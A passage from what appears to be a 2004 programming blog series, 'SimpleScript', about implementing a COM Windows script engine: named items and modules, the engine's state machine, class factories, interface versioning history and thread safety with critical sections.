marshaling really works, but that's getting out of my depth.  Go ask Christopher Brumme if you've got questions about that stuff.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Honouring Our End Of The Script Engine Contract&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Let's take a look at the script engine contract through the example of one of its objects that we've already implemented -- the named item list.  There are only four operations that can be performed on the named item list, and we know when they can be performed according to our contract and implementation:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Add can only be called on an initialized engine, and hence only from the engine thread.  Add writes to the named item list.&lt;br /&gt;Reset can only be called on an initialized engine as it is being moved to uninitialized state, hence only from the engine thread.  Reset writes to the named item list by removing non-persisting entries.&lt;br /&gt;Clear is only called when the engine is going to closed state.  The engine might already be in uninitialized state and hence, this can be called on any thread if the engine is uninitialized.  However if the engine is initialized then it can only be called from the main engine thread.  Clear writes to the named item list by removing all entries.&lt;br /&gt;Clone can be called on any thread, and reads from the named item list.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;What then are the possible threading conflicts?  The three writers, Add, Reset and Clear cannot be called at the same time on different threads by virtue of the fact that the engine must be initialized if Add or Reset are being called.  There are a few cases which for completeness we should get right, but are in reality extremely unlikely.  Why would any host be so dumb as to Clone an engine while in the middle of a call to Add?  Or worse, Clone during Close?  I won't assume that hosts won't pull shens like that, even though they are very unlikely.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;What about two Clones at the same time on two different threads?  On the one hand, they're only reading, so why should they block?  On the other hand, boy, do I ever not want to implement single-writer-multi-reader mutexes just to make that extremely unlikely case marginally faster. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Therefore, we'll do it the easy way.  The only thing we really need to worry about practically is one thread doing a Clone while another thread is doing a Reset, but we'll get it right for all the cases.  The first thing we'll do when we enter any of those methods is enter a critical section, and the last thing we'll do before we leave is exit it.  Rather than mess around with the operating system's somewhat gross critical section code in the object itself, I define a handy object to wrap it.  See mutex.cpp for the implementation.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Something to note about this implementation is that it uses InitializeCriticalSectionAndSpinCount to initialize the critical section.  The comments there and here are required reading if you need to make critical sections work on heavily loaded pre-Windows-XP boxes. Earlier versions throw exceptions rather than returning error codes, which means that every entry and exit to a critical section has to be protected with __try blocks and you then have to get the exception handling right!  The VBScript and JScript engines have all kinds of totally gross code in them to handle the edge case where a heavily loaded server runs out of memory just as a critical section is about to be entered.  (Yes, it happens. Every single out-of-memory case will eventually be exercised by a sufficiently loaded server, I know this from painful experience.)&lt;br /&gt;I'm going to skip all that totally gross code here and assume that we all live in the happy world of Windows XP, where the operating system actually returns sensible errors.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;I'm still trying to sort out how all this is going to work once code blocks are throw into the mix.  I'll try out a few things and see how it goes.  More bulletins as events warrant.&lt;br /&gt;SimpleScript Part Five: Named Items and Modules&lt;br /&gt;2004年4月23日 5:29&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Named Items&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;"Named items" are what we call the "top level" objects of the host provided object model.  WScript in WSH, window in Internet Explorer, Response in ASP, are all named items.  A host tells an initialized script engine about named items via the aptly named AddNamedItem method on the IActiveScript interface.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;HRESULT ScriptEngine::AddNamedItem(const WCHAR * pszName, DWORD flags)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;A few things should immediately seem a little weird about this interface. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The First Four Flags&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;First off, what are the flags?  There are six.  The first four are pretty straightforward:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;If SCRIPTITEM_ISVISIBLE is set then the name of the named item is added to the global namespace. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Uh, OK… why would you ever NOT want this set?  Didn't I just say that named items were specifically for injecting named object model roots into the engine?  What good is a named item if you can't see its name?&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;That brings us to the second flag; if SCRIPTITEM_GLOBALMEMBERS is set then all (immediate) children of the named item are treated as though they are themselves top-level objects/methods.  That's how in Internet Explorer you can say&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;window.alert("hello");&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;or&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;alert("hello");&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;and they do the same thing.  IE tells the script engine that window is a visible named item with global members.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Now it makes a little more sense why you might want to have an invisible named item.  What if you had an object with lots of methods and properties that you wanted available in the global namespace, but the object itself didn’t have a sensible name?  I can't think of any script host offhand that does that, but the capability is there if you need it.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;There's a second reason why you might want a named item to be invisible, but we'll get to that in a minute.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The third flag is SCRIPTITEM_ISSOURCE.  If that's set then we know that this object is an event source.  If the language supports implicit event binding and the host moves the engine into connected state, we're going to need to know which named items to hook up to which events.  It can be very expensive to do that hookup, so this provides a simple optimization.  If the host knows that a particular named item does not source events, it can choose to not mark the named item as a source, and we therefore never spend any time trying to hook up event sinks to it.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The fourth flag is SCRIPTITEM_ISPERSISTENT.  Recall that I said a while back that when the engine goes back to uninitialized state after being initialized, we throw away "some" named items, where "some" was to be defined later.  Now you know -- the engine remembers named items marked as persistent.  Information about those named items is not thrown away until the engine is closed.  Also, cloning an engine is basically making a copy of the uninitialized state of an engine, so persistent named items get cloned when their engine gets cloned.  As we'll see, this fact has implications for our implementation.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Modules&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;I'm sure you have a general idea of what I mean by a "module", though if you Google define:module you'll see that everyone has a slightly different definition.  Modules in the script engine sense are philosophically fairly straightforward.  I often want to have some way to say "this collection of functions can play with each other, but are isolated from this other collection of functions".  I want to be able to resolve name collisions by having two methods with the same name coexist in different modules. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Well, I want that stuff in languages designed for "programming in the large".  When using script languages, more often than not you simply don't need to chunk stuff into modules.  But, bizarrely enough, the script engines support modules, and in a pretty goofy way at that.  Of course, any language implementor can implement module semantics however they want, but I see no reason to mess around with the de facto standards.  Here's how modules work in VBScript and JScript:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;There is a "global" module.  Procedures defined in the global module are callable from any module.  This is where the "built in" methods in VBScript and JScript go.&lt;br /&gt;Every named item is associated with a unique module, with some exceptions:&lt;br /&gt;&lt;br /&gt;Named items with global members are associated with the global module.&lt;br /&gt;Named items marked with SCRIPTITEM_NOCODE are not associated with any module&lt;br /&gt;All visible named items are added to the global namespace, except for named items marked as SCRIPTITEM_CODEONLY. Those are just names of modules and are associated with no object.&lt;br /&gt;Important distinction: though all visible named items are added to the global module's namespace, procedures in the named items' modules are not visible from the global module.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Let me try to make this a little more concrete.  Let's consider a hypothetical declarative language that supports embedded imperative script.  You might want to have something like this:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;application&gt;      &lt;script&gt;            function toggle ( x )                if (x == false) return true else return false      &lt;/script&gt;      &lt;form name="fred"&gt;            &lt;checkbox name="chuck" checked="false"&gt;            &lt;button name="bob"&gt;                  &lt;caption&gt;Hello world!&lt;/caption&gt;                  &lt;click&gt;                        fred.checked = toggle(fred.checked)                  &lt;/click&gt;                  &lt;script&gt;                        function foo()                         // button-specific code here&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;And so on.  Suppose the host defined fred as a visible named item with global members, bob and chuck as named items each with their own module.  Then code in bob's event handlers can access anything in the global application namespace and any member of fred.  But if we now add script to chuck, chuck's module cannot see bob's code.  chuck is free to define its own function foo, which will not collide.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;What if bob wants to access code in chuck's module?  We'll see in a later entry how chuck can do that -- there are many subtle issues involved and we'll need more infrastructure built into SimpleScript before we can tackle it.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Where's the Object?&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;One more weird thing -- where's the object?  The method takes a name and some flags, but no object. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Let me answer that question with another question: suppose a persistent named item's object is thread affinitized, and you clone the engine and initialize the clone on a different thread?  That thing can't use the object from the previous thread! &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;To solve this problem, we defer getting the actual object until we need it.  The engine calls the site back and asks for the object.  I haven't implemented that code yet; I'll talk more about that next time.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The Implementation&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;I've added a named item list object to SimpleScript in nameditemlist.cpp but I haven't quite figured out how I want to implement modules yet. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;As you can see, I've rolled my own hash table rather than using hash_map.  There was quite a long series of comments the other day about the pros and cons.  I chose to roll my own rather than using an off-the-shelf solution for several reasons:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;the implementation does not require a rocket-science hash table.  It's very unlikely that we're going to get a huge number of named items in a script engine.  Even very complex web pages seldom add more than a couple dozen named items.  (In IE, every button, form, etc, is a named item.)  Thus, I've implemented a fixed-number-of-buckets hashing-with-chaining table with a very simple string hashing algorithm.&lt;br /&gt;I really have no clue how hash_map works, and I want to spend zero time debugging my way through acres of template code if there's a problem.&lt;br /&gt;I realized that I was starting to succumb to Object Happiness as I was building a templatized hash table of my own.  I'm going to need two or three hash tables in this project all told.  And its not like templates actually make the generated code smaller or more efficient (though in C#, generics can -- but that's another story.)  I'm going to keep it simple and avoid getting Happy.&lt;br /&gt;hash_map requires that new throw exceptions.  As I've mentioned before, that gives me the shakes.  I don't like mixing C++ exception handling into what is fundamentally a COM program.&lt;br /&gt;I think hash_map is threadsafe for the applications I'm going to use it in.  I'm not sure.  That makes me nervous.  I am sure that my own code is going to be a lot more amenable to analysis with respect to the goofy script engine threading contract.&lt;br /&gt;I ended up spending WAAAY more time investigating the template code than it took me to write the hash table from scratch.  I'm doing this in my spare time here folks... &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;All those things totally outweigh the negligible benefits of re-using an existing generic map, no matter how bulletproof and performant it is.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;That reminds me, I wanted to talk more about the script engine threading model.  My earlier post on the subject glossed over some important details.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;My team hit our Whidbey Beta One Zero Bug Bounce yesterday, so I'm off for a long weekend far, far away from computers.  I'll cut it short right now; next week I'll pick it up again and talk a bit more about the threading model, the implications of engine cloning, and I'll kick around some ideas about how to implement modules and code blocks.&lt;br /&gt;SimpleScript Part Four: Finite State Machines and Script Engines&lt;br /&gt;2004年4月11日 5:18&lt;br /&gt;Last time I said that I'd discuss finite state machines (also sometimes called finite state automata, same thing.)  The FSM is a fundamental idea in theoretical computer science because it models computing machinery in a very simple, abstract and general way.  Basically it goes like this:  an FSM has a finite number of states (duh).  Each state accepts a finite number of inputs.  Each state has rules which describe the action of the machine for every input.  An input may cause the machine to change state.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;That's extremely general, I know.  Let's consider a specific example -- a machine which has two inputs: a slot that can take in quarters, and a button.  It has two outputs: quarters and gumballs.  And it has two states: GOTQUARTER and NOQUARTER.  We can chart the actions given a certain input:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Insert Quarter&lt;br /&gt;&lt;br /&gt;Press Button&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;NOQUARTER&lt;br /&gt;&lt;br /&gt;Change state to GOTQUARTER&lt;br /&gt;&lt;br /&gt;Do nothing&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;GOTQUARTER&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Output the quarter&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Output gumball,&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Change state to NOQUARTER&lt;br /&gt;&lt;br /&gt;That's a pretty darn simple machine.  Modern CPU's are also finite state machines -- after all, every bit in a machine can only be in two states, and there are only so many possible binary inputs from mice, keyboards, hard disks, and so on.  The number of possible states a modern computer can be in is mind-bogglingly huge -- far more than the total number of particles in the universe -- but because the rules for the state transitions are very well defined it all works out nicely.  (Because the number of states is so large, it is often more helpful to model machines as "Turing machines", which can have unlimited internal storage.  But I'm digressing.)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The script engines use this idea of finite state machines explicitly.  A script engine has six possible states, and it performs certain actions as it transitions between those states based on "inputs".  In this case, the inputs are via calls to the various methods on the script engine.  The six states are Uninitialized, Initialized, Started, Connected, Disconnected and Closed.  A script engine is created by a host -- Windows Script Host, Internet Explorer, Active Server Pages, whatever.  The host is responsible for changing the script engine state as it sees fit, within the rules I'll describe over the next few entries.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The script engine begins life Uninitialized.  An uninitialized engine does not know anything about its host, and therefore cannot call any methods provided by the host.  There's very little you can do to an uninitialized engine, but what little you can do, you can do from any thread, subject to the rental model.  I'll talk more about threading issues later.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;There's only one way to initialize an engine, and that's to pass a pointer to the host into SetScriptSite.  Once an engine is Initialized it becomes apartment threaded, with a few exceptions that I'll talk about later.  There is a lot more you can do with an initialized engine -- add named items (again, more on those in the future), add script source code, and so on.  However, the code cannot actually run yet.  At this point, the most commonly used input that affects the script engine state is the appropriately named SetScriptState method.  More on that below.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;A Started engine actually runs the script code, but does not hook up event handlers.  (I discussed implicit event binding last time.)  Moving the engine into Connected state hooks up the event handlers.  If the host wants the event handlers to temporarily stop handling events, the hose can move the engine into Disconnected state.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;That's the usual order in which things happen at startup.  To tear down the engine, the IActiveScript::Close method tears down event handlers, throws away compiled state, throws away the reference to the host and moves the engine to Closed state. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The actions associated with SetScriptState are easiest to summarize in a table.  (Except for illegal calls, this also sets the engine state to the new value.)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Old State&lt;br /&gt;&lt;br /&gt;New State passed to SetScriptState&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Uninitialized&lt;br /&gt;&lt;br /&gt;Initialized&lt;br /&gt;&lt;br /&gt;Started&lt;br /&gt;&lt;br /&gt;Connected&lt;br /&gt;&lt;br /&gt;Disconnected&lt;br /&gt;&lt;br /&gt;Closed&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Uninitialized&lt;br /&gt;&lt;br /&gt;Do nothing&lt;br /&gt;&lt;br /&gt;Error -- use SetScriptSite&lt;br /&gt;&lt;br /&gt;Error - can't start an uninitialized engine&lt;br /&gt;&lt;br /&gt;Error&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Error -- can't disconnect an unconnected engine&lt;br /&gt;&lt;br /&gt;Error&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Initialized&lt;br /&gt;&lt;br /&gt;Discard some named items&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Throw away host information&lt;br /&gt;&lt;br /&gt;Do nothing&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Execute script code&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Execute script code&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Bind events&lt;br /&gt;&lt;br /&gt;Error&lt;br /&gt;&lt;br /&gt;Discard all named items and script blocks&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Throw away host information&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Started&lt;br /&gt;&lt;br /&gt;Discard some script blocks, and as above&lt;br /&gt;&lt;br /&gt;Discard some script blocks&lt;br /&gt;&lt;br /&gt;Do nothing&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Bind Events&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Error&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;As above&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Connected&lt;br /&gt;&lt;br /&gt;Discard event bindings, and as above&lt;br /&gt;&lt;br /&gt;Discard event bindings, and as above&lt;br /&gt;&lt;br /&gt;Discard event bindings, execute code&lt;br /&gt;&lt;br /&gt;Do nothing&lt;br /&gt;&lt;br /&gt;Suspend event handling&lt;br /&gt;&lt;br /&gt;Discard event bindings, and as above&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Disconnected&lt;br /&gt;&lt;br /&gt;As above&lt;br /&gt;&lt;br /&gt;As above&lt;br /&gt;&lt;br /&gt;As above&lt;br /&gt;&lt;br /&gt;Resume event handling&lt;br /&gt;&lt;br /&gt;Do nothing&lt;br /&gt;&lt;br /&gt;As above&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Closed&lt;br /&gt;&lt;br /&gt;Error&lt;br /&gt;&lt;br /&gt;Error -- use SetScriptSite&lt;br /&gt;&lt;br /&gt;Error&lt;br /&gt;&lt;br /&gt;Error&lt;br /&gt;&lt;br /&gt;Error&lt;br /&gt;&lt;br /&gt;Do nothing&lt;br /&gt;&lt;br /&gt;As you can see, I've written methods that implement these state semantics in engine.cpp, though plenty of them are still stubbed out.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Next time, I want to talk more about the threading model, explain away a few oddities, and then we'll change gears for a bit and implement a simple language.  That'll get us into language design, how to expose syntax errors, and so on.&lt;br /&gt;SimpleScript Part Three: Engine Skeleton&lt;br /&gt;2004年4月6日 5:32&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Before I get into today's topic I want to quickly address a minor defect that Raymond Chen (who apparently spends his holiday in Sweden doing remote code-reviews, oddly enough) was good enough to point out to me.  It is legal to unload a DLL if the only objects that depend on that DLL which are still outstanding are class factories.  Therefore, creating the class factory shouldn't add a reference to the DLL.  If the consumer of the class factory wants to explicitly lock the DLL in memory, they can use the locking mechanism.  This code is wrong:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;ClassFactory::ClassFactory(){    m_cref = 1;    DLLAddRef();}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Why is that the case?  Why not just use the convention that class factory instances lock the DLL, and if you want the DLL locked, you keep the class factory alive?  Because, though that logic makes perfect sense if the class factory is constructing in-process objects, it does not work if the factory is for a local (out of process) server.  How's that?  Because a local server creates class factories immediately when it starts up and destroys them only when it shuts down.  If creating a class factory locked the local server in memory, then there's an obvious circular reference; the local server would never be shut down.  Thus, the convention for all class factories is that they never lock the code in memory unless asked to, whether they're in-proc or not.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;I've fixed the defect.  Thanks again, Raymond.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;I've uploaded two new files, engine.cpp and engine.h (and hooked it up to the class factory).  Right now the engine code just knows how to create and destroy itself; no interfaces other than IUnknown are implemented.  As you can see, over the next few entries I'm going to flesh out IActiveScript, IActiveScriptParse, IActiveScriptParseProcedure2 and IObjectSafety.  I already covered the purpose of IObjectSafety in detail in my series "Script and IE Security", which you can read in full by going to my security archive.  Part Two has a description of the interface.  Why are there three script interfaces instead of one, and what's with that "2"? &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;When the original script team -- this is before my time! -- designed the interfaces they realized that there were some things that were going to be common to every possible engine.  Every engine would need a way to communicate back to the host (SetScriptSite), start and stop the engine (SetScriptState) and perform various threading tasks (GetScriptThreadId, etc.)  But how do the script engines do compilation-model dependent things such as compiling up new source code?  Different engines might expose different interfaces to do these kinds of things, so the interface designers left one "base" interface, and if the host wants to use a particular compilation feature, the host and the engine can negotiate via QueryInterface. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Thus, IActiveScriptParse exposes two methods which expose compilation model features.  ParseScriptText takes in raw source code, parses it, and adds the resulting code to the internal state of the script engine.  If the code contains "global code" it might run, and if it contains procedures then they become available.  This is what is called when you stick a chunk of script inside a plain vanilla &lt;script&gt; tag in Internet Explorer. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;ParseScriptlet is very similar, but different -- it takes in source code for the body of an event handler procedure and adds a new event handler to the internal state.  This is what happens when you have a &lt;script for="…  block.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;ParseProcedureText, on the IActiveScriptParseProcedure2 interface is similar to ParseScriptlet in that it takes the body of a procedure.  It not only adds the function to the global state, it returns an object which, when invoked, calls the function.  In .NET-speak, it returns a delegate. This is handy in the IE event binding model where you bind events to an object by assigning a delegate to a property on the object.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The reason for the "2" is perfectly straightforward.  When we first implemented IActiveScriptParseProcedure, we left the "name" argument off of the method.  In a later release, we got a feature request to allow the host to control the name of the delegate, so we created a new interface and called it "2".  That's all straightforward.  But if you look in the activscp header file, you'll see IActiveScriptParseProcedure, IActiveScriptParseProcedure2 and IActiveScriptParseProcedureOld.  What's up with that, and which ones should we implement?&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The reason why we have IActiveScriptParseProcedureOld was going to be yet another entry in the Aargh! series, but I might as well just tell the tale of woe now.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;A good design rule in COM is "never make an important decision based on the absence of an interface."  Why?  Because if you do, then you are risking that your program breaks if someone implements that interface in the future.  I learned this rule the hard way because very early versions of Internet Explorer made exactly that mistake.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;In the early days, VBScript did not support the "delegate" model of event binding at all; VBScript uses what we call the "implicit" event binding mechanism whereby we scan the VBScript code looking for procedures with names that match the pattern "objectname underbar eventname".  When we find them, we construct the appropriate hookup code internally and everything is just fine. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;However, doing that search has a potentially large performance cost.  If the host decides that it doesn't need the implicit event binding model, the script engine exposes a way to prevent it from happening.  We'll discuss the details later, but for now, I'll just say that if the host wants the feature they "connect" the engine and if they don't, they "start" the engine.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Also back in the early days, JScript did not support the "implicit" model.  The IE developers therefore implemented the following (bad!) logic:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;If the engine does not support "delegate" event binding, then "connect" the engine, otherwise "start" the engine.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;That was the logic that shipped with IE4.  One day the IE5 team came to me with a feature request -- they wanted to add "delegate" style event binding to VBScript in IE5.  Piece of cake -- it was actually very easy to implement it in VBScript.  A few lines of code, add the IActiveScriptParseProcedure2 interface implementation, fire it up, and… uh oh.  Implicit event binding suddenly stopped working in VBScript.  Aargh!  It was drivin' me nuts!  By making a decision to turn a feature off based on the absence of an interface, IE ensured that we could not implement that interface, ever!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The first thing that came to mind was "let's fix that in IE5", which, of course, we did -- IE5 used a much more sensible algorithm to determine whether to connect the engine or not.  Problem solved?  No.  That wasn't good enough, because at the time it was a supported, legal, by-design scenario to install new script engines without installing a new browser.  That meant that if an IE4 customer got the new VBScript engine, their implicit event handlers would stop working!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;What we needed to do was to retire the old interfaces and ensure that no one would ever use them again.  Normally we'd create IActiveScriptParseProcedure3, but I wanted to ensure that no one accidentally use the old interface, so I renamed IActiveScriptParseProcedure2 to IActiveScriptParseProcedureOld, and created a new, different IActiveScriptParseProcedure2.  Only JScript implements IActiveScriptParseProcedure and IActiveScriptParseProcedureOld.  If you implement those interfaces then IE3 and IE4 will not connect your engine.  But given that IE3 and IE4 are a pretty small percentage of the browser market these days, we will dispense with them entirely and only use the new IActiveScriptParseProcedure2. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;I've seen this same mistake in persistence code. (In fact, I think I may have made this same mistake myself in the VSTO2 persistence code.  I need to double check that...)  It's very easy to say “If this object doesn't support such and such an interface, reconstitute it as follows“ and then have the reconstitution code broken when a later version of the object adds that interface.&lt;br /&gt;Coming up: soon I'll start to flesh out the engine a little more, and add some multi-threading support.  I'll also discuss the theory and practice of the "state machine" style of programming and how the host initializes the engine.&lt;br /&gt;SimpleScript Part Two: Class Factories Are Also Boring&lt;br /&gt;2004年4月2日 9:51&lt;br /&gt;&lt;br /&gt;Before I get into it, a Lambda poster pointed me at the NullScript project, which is a very interesting illustration of how reverse engineering works.  It's an implementation of a "null" script engine -- an engine with no language -- in ATL, which the intrepid developer created in order to try and understand how ASP works.  Typical programmer! They could have just asked me, but where's the fun in that?  J &lt;br /&gt;I want to go well beyond the scope of the NullScript project, in several ways. &lt;br /&gt;First off, someone asked why not use ATL?  Aside from my general distaste for the ATL style of programming, the more fundamental reason is that ATL is all about hiding the details of how COM works from you.  One of the points of this exercise is to show how it works.  In ATL, you see&lt;br /&gt;    COM_INTERFACE_ENTRY(IDispatch)&lt;br /&gt;And what does that tell you?  It's just a black box, and when you open it up, it's full of weird macros that I don't understand.  I'd much rather show you guys how this works at a much less abstract level.&lt;br /&gt;Second, the point of NullScript was to have the smallest feature set that still worked, because it was being used as a probing tool, not a language tool.  I want to actually talk about practical concerns here, like good language design, how to implement IDispatch correctly, etc, not just write a logging tool.&lt;br /&gt;Today, more boilerplate code.  I've added a class factory.&lt;br /&gt;For those of you who don't know much about COM internals, you might wonder how instantiating a COM object works.  Basically, it goes like this.&lt;br /&gt;First, there's a progid -- the human-readable string that describes the object you want to create.  As I mentioned yesterday, we create registry keys for the progid that map it to a class id…&lt;br /&gt;HKCR\SimpleScript\CLSID\(Default) = "{...}"&lt;br /&gt;… and then map that class id to a DLL…&lt;br /&gt;HKCR\CLSID\{...}\InprocServer32\(Default) = "c:\simplescript.dll"&lt;br /&gt;Thus, the registry has enough information to determine everything you need to know to actually get the code in memory -- the location of the code and the unique identifier for the class.&lt;br /&gt;To create the object, COM loads up the DLL and calls DllGetClassObject in dllmain.cpp.  It doesn't ask for an object instance, as you might expect.  Instead, it asks for a class factory -- an object that creates objects.  The class factory in classfac.cpp then knows how to create the actual object.  Why this indirection?  Because  DllGetClassObject is fundamentally not extensible but COM objects are extensible -- you can add any interface on that you like -- thus the convention is to create a COM object that does the creation work rather than put more smarts into the entrypoint.  For example, the object might implement IClassFactory2, which enables licensing semantics. &lt;br /&gt;If you take a look at the implementation, you'll see that we have your basic class factory going here.  There's nothing fancy.&lt;br /&gt;You might wonder what the locking mechanism is for --  this is for the scenario where you know that you're going to be creating a whole bunch of objects and need to ensure that you're not unloading the DLL unnecessarily.  That's an extremely unlikely scenario for us, but I've implemented the code anyway because its cheap, easy and the right thing to do.&lt;br /&gt;As you can see, all of the objects are thread safe so far.  We'll get into the threading model of the script engine in more detail later, but as a refresher, you might want to read this.&lt;br /&gt;The class factory does everything but actually create the engine -- that's still E_NOTIMPL. &lt;br /&gt;How far can we get now?  If we compile up the code, register the DLL and run it through WSH:&lt;br /&gt;&lt;job&gt;&lt;script language="SimpleScript"&gt;Testing&lt;/script&gt;&lt;/job&gt;&lt;br /&gt;Then we get the DLL loaded, the class factory created, and a call to create the engine, which fails:&lt;br /&gt;Windows Script Host: An unimplemented function was called : SimpleScript&lt;br /&gt;We're doing pretty well so far, but we're still a long way from computing 2 + 2 or writing "hello world".&lt;br /&gt;Next time, I'll talk about the engine and site interfaces, engine state, and a skeleton of the engine interfaces, which I'll then flesh out over several entries.&lt;br /&gt;SimpleScript Part One: DllMain is Boring&lt;br /&gt;2004年4月1日 11:01&lt;br /&gt;In talking with our support engineer it's just become more muddled.  I'm pretty sure now actually that the customer does not want to build a script engine, but whether they want to build a script editor, a script host or a script debugger is unclear.&lt;br /&gt;Before I go on, let me take this opportunity 